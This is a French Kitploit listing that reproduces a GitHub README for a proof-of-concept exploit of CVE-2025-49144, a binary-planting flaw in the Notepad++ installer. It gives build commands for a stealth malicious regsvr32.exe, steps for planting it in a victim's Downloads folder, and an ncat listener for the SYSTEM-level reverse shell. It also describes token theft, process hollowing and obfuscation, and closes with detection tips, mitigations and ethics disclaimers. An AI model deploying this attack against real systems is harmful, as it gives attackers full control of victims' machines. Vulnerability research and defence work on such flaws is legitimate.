Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-49144 — PoC CVE-2025-49144 | Kitploit
Outils/GitHubGitHub/vr00mm/cve-2025-49144
Escalade de PrivilègesMécanismes de PersistanceExploitationCommandement et ContrôleIngénierie SocialeApprentissage et ÉducationRed TeamingDéveloppement de Charges UtilesExploitation de Binaires
GitHubvr00mm/cve-2025-49144

CVE-2025-49144

PoC CVE-2025-49144

62il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

PoC de Plantage Binaire de Notepad++ (CVE-2025-49144)

⚠️ À SEULEMENT DES FINS ÉDUCATIVES
Ce code est conçu à des fins éducatives et de recherche pour comprendre les vulnérabilités de plantage binaire. À utiliser uniquement dans des environnements contrôlés avec une autorisation appropriée.

📋 Aperçu

Cette Preuve de Concept démontre la vulnérabilité de plantage binaire dans l'installateur de Notepad++ (CVE-2025-49144) référencée dans GHSA-9vx8-v79m-6m24. La vulnérabilité permet à un attaquant d'obtenir des privilèges de niveau SYSTEM en plaçant un exécutable malveillant nommé regsvr32.exe dans le même répertoire que l'installateur de Notepad++.

🎯 Détails de la Vulnérabilité

  • Cible: Installateur de Notepad++ (toutes les versions antérieures à v8.8.2)
  • Méthode: Plantage binaire via un regsvr32.exe malveillant
  • Cause Racine: Les installateurs de Notepad++ invoquent des binaires système comme regsvr32 sans spécifier de chemins absolus
  • Impact: Lorsqu'un utilisateur exécute l'installateur, le système charge automatiquement le fichier malveillant avec des privilèges SYSTEM, donnant à un attaquant un contrôle total sur la machine cible
  • Vecteur d'Attaque: Ingénierie sociale ou clickjacking pour inciter les utilisateurs à télécharger à la fois l'installateur légitime et un exécutable malveillant dans le même répertoire (généralement le dossier Téléchargements)

🏗️ Architecture

La Preuve de Concept se compose de plusieurs composants fonctionnant ensemble :

root@kitploit:~
┌─────────────────┐    ┌──────────────────┐    ┌─────────────────┐
│ Notepad++       │    │ Malicious        │    │  Reverse Shell  │
│ Installer       │───▶│ regsvr32.exe     │───▶│   (PowerShell)  │
│ (searches for   │    │ (CGO binary)     │    │  with SYSTEM    │
│  regsvr32.exe)  │    │                  │    │  privileges     │
└─────────────────┘    └──────────────────┘    └─────────────────┘

Composants Principaux

🔧 Fonctionnalités Techniques

🛡️ Techniques d'Évasion

  • Obfuscation de chaînes : Le chemin PowerShell est codé en XOR pour éviter la détection statique
  • Processus détachés : Crée des processus indépendants qui survivent à la terminaison du parent
  • Usurpation de jeton : Élève les privilèges en volant des jetons SYSTEM
  • Process Hollowing : Injecte du code dans des processus Windows légitimes

🌐 Capacités Réseau

  • Keep-Alive TCP : Maintient des connexions persistantes à travers les pare-feux
  • Réessai de connexion : Reconnexion automatique avec délais configurables
  • Gestion des timeouts : Opérations socket non bloquantes avec timeouts appropriés
  • Limitation de débit : Empêche le spam de connexion et la détection

💻 Intégration Système

  • Intégration CGO : Interopérabilité transparente Go vers C pour les appels système
  • Déguisement d'exécutable : Imite le comportement légitime de regsvr32.exe
  • Multi-threading : Threads séparés pour la gestion de stdin/stdout/stderr
  • Récupération d'erreur : Gestion gracieuse des échecs de connexion et des sorties de processus
  • Gestion des ressources : Nettoyage approprié des handles, sockets et mémoire

🚀 Instructions de Compilation

Prérequis

root@kitploit:~
# Install Go (1.24+)
# Install MinGW-w64 for CGO compilation
# Install Git for version control

Compilation

root@kitploit:~
# Clone the repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144

# Build as executable (masquerading as regsvr32.exe)

# For maximum stealth (strip debug info)
go build -ldflags="-s -w" -o regsvr32.exe

# For development (with debug symbols)
go build -o regsvr32_debug.exe

📖 Utilisation

Plantage Binaire (Vecteur d'Attaque Principal)

root@kitploit:~
# 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
# Usually the Downloads folder where users download the installer
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"

# 2. User downloads official Notepad++ installer to Downloads folder
# 3. When user runs the installer, it searches for regsvr32.exe in current directory first
# 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges

# 5. Listen for incoming reverse shell connection
ncat -tlnp 4445

🔍 Flux d'Attaque

root@kitploit:~
sequenceDiagram
    participant User
    participant Attacker
    participant Downloads
    participant NotepadInstaller
    participant MaliciousRegsvr32
    participant SystemProcess

    User->>Downloads: Download Notepad++ installer
    Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
    User->>NotepadInstaller: Run installer from Downloads folder
    NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
    Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
    NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
    MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
    MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
    SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
    MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
    MaliciousRegsvr32->>Attacker: Establish reverse connection
    MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
    Attacker->>SystemProcess: Execute commands as SYSTEM

🎓 Aspects Éducatifs

Concepts de Sécurité Démonstratifs

  1. Plantage Binaire

    • Comportement de recherche de chemin d'exécution non sécurisé
    • Élévation de privilèges via des vulnérabilités d'installateur
    • Vecteurs d'attaque par ingénierie sociale
  2. Élévation de Privilèges

    • Méthodes d'usurpation de jeton
    • Vol de jeton de processus
    • Acquisition d'accès au niveau SYSTEM
  3. Mécanismes de Persistance

    • Création de processus détaché
    • Mimétisme de processus de service
    • Logique de réessai de connexion
  4. Programmation Réseau

    • Implémentation de shell inversé
    • Programmation socket en C
    • Réseau multiplateforme
  5. Programmation CGO

    • Interopérabilité Go vers C
    • Programmation système en Go
    • Intégration inter-langages

Objectifs d'Apprentissage

  • Comprendre comment fonctionnent les vulnérabilités de plantage binaire
  • Apprendre les chemins de recherche d'exécutables non sécurisés dans les installateurs
  • Explorer l'élévation de privilèges Windows via des failles d'installateur
  • Étudier les vecteurs d'attaque par ingénierie sociale
  • Pratiquer la programmation CGO et l'intégration inter-langages
  • Pratiquer le codage sécurisé et l'analyse de vulnérabilités

🛡️ Détection et Atténuation

Méthodes de Détection

root@kitploit:~
# Monitor for suspicious regsvr32 usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}

# Check for unusual network connections
netstat -ano | findstr ":4445"

# Monitor process creation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}

Stratégies d'Atténuation

  • Action Immédiate : Mettre à jour vers Notepad++ v8.8.2 ou ultérieur, qui définit explicitement des chemins absolus lors de l'invocation d'exécutables comme regsvr32
  • Liste blanche d'applications : Utiliser des outils comme AppLocker ou Windows Defender Application Control
  • Vérification des exécutables : Implémenter la vérification de signature numérique pour tous les exécutables
  • Validation des chemins : S'assurer que les applications utilisent des chemins complets vers les utilitaires système
  • Moindre privilège : Exécuter les applications avec les autorisations minimales requises
  • Surveillance réseau : Surveiller les connexions sortantes inhabituelles
  • Détection sur terminal : Déployer des solutions EDR pour détecter le process hollowing
  • Vérification de configuration : Éviter d'exécuter des installateurs depuis des emplacements accessibles en écriture par l'utilisateur, comme le dossier Téléchargements

⚖️ Considérations Légales et Éthiques

⚠️ Avertissements Importants

  • Autorisation Requise : Utiliser uniquement dans des environnements que vous possédez ou pour lesquels vous avez une autorisation explicite de test
  • But Éducatif : Ce code est conçu pour l'apprentissage et la recherche en sécurité
  • Aucune Intention Malveillante : Non destiné à un accès non autorisé ou à des activités illégales
  • Divulgation Responsable : Signaler toute vulnérabilité découverte par les canaux appropriés

Directives Éthiques

  1. Utilisation Responsable : Utiliser uniquement pour des tests de sécurité légitimes et l'éducation
  2. Pas d'Accès Non Autorisé : Ne jamais déployer contre des systèmes sans autorisation
  3. Attribution Appropriée : Créditer les chercheurs originaux et les découvreurs de vulnérabilités
  4. Partage de Connaissances : Partager les découvertes de manière responsable avec la communauté de la sécurité

🔧 Dépannage

Problèmes Courants

Échecs de Connexion

root@kitploit:~
# Check if port is available
netstat -ano | findstr ":4445"

# Verify firewall settings
netsh advfirewall firewall show rule name=all | findstr "4445"

Erreurs de Compilation

root@kitploit:~
# Ensure CGO is enabled
set CGO_ENABLED=1

# Check MinGW installation
gcc --version

# Verify Go installation supports CGO
go env CGO_ENABLED

Échecs d'Acquisition de Jeton

  • Assurez-vous que le programme s'exécute avec des privilèges suffisants
  • Vérifiez si des processus SYSTEM sont disponibles pour le vol de jetons
  • Vérifiez la compatibilité avec la version de Windows
  • Note : Cette vulnérabilité affecte toutes les versions de Notepad++ antérieures à v8.8.2, donc la Preuve de Concept devrait fonctionner sur une large gamme d'installations

📚 Références

  • Dépôt CVE-2025-49144
  • Avis de sécurité Notepad++ GHSA-9vx8-v79m-6m24
  • NVD CVE-2025-49144
  • MITRE ATT&CK T1574.007 - Interception de chemin par variable d'environnement PATH
  • MITRE ATT&CK T1134 - Manipulation de jetons d'accès
  • Documentation Microsoft - Chargement sécurisé de binaires

📄 Licence

Ce projet est publié sous licence MIT à des fins éducatives. Voir le fichier LICENSE pour plus de détails.


Rappelez-vous : Cet outil est destiné à des fins éducatives et de test autorisé uniquement. Suivez toujours les pratiques de divulgation responsable et respectez les limites légales.

Télécharger l’outil
FichierObjectifLignes
main.goPoint d'entrée, gère l'exécution de regsvr32~80
winbind.hEn-tête principal avec déclarations de fonctions~45
main.cLanceur principal de shell inversé et création de processus détaché~75
shell.cGestionnaire de shell avec exécution PowerShell obfusquée~120
process.cAcquisition de jeton et création de processus SYSTEM~195
socket.cConnexion réseau avec keep-alive TCP~85
threads.cThreading I/O entre socket et pipes~60
utils.cValidation d'entrée et limitation de débit~35
obfuscate.cTechniques d'obfuscation de chemin PowerShell~70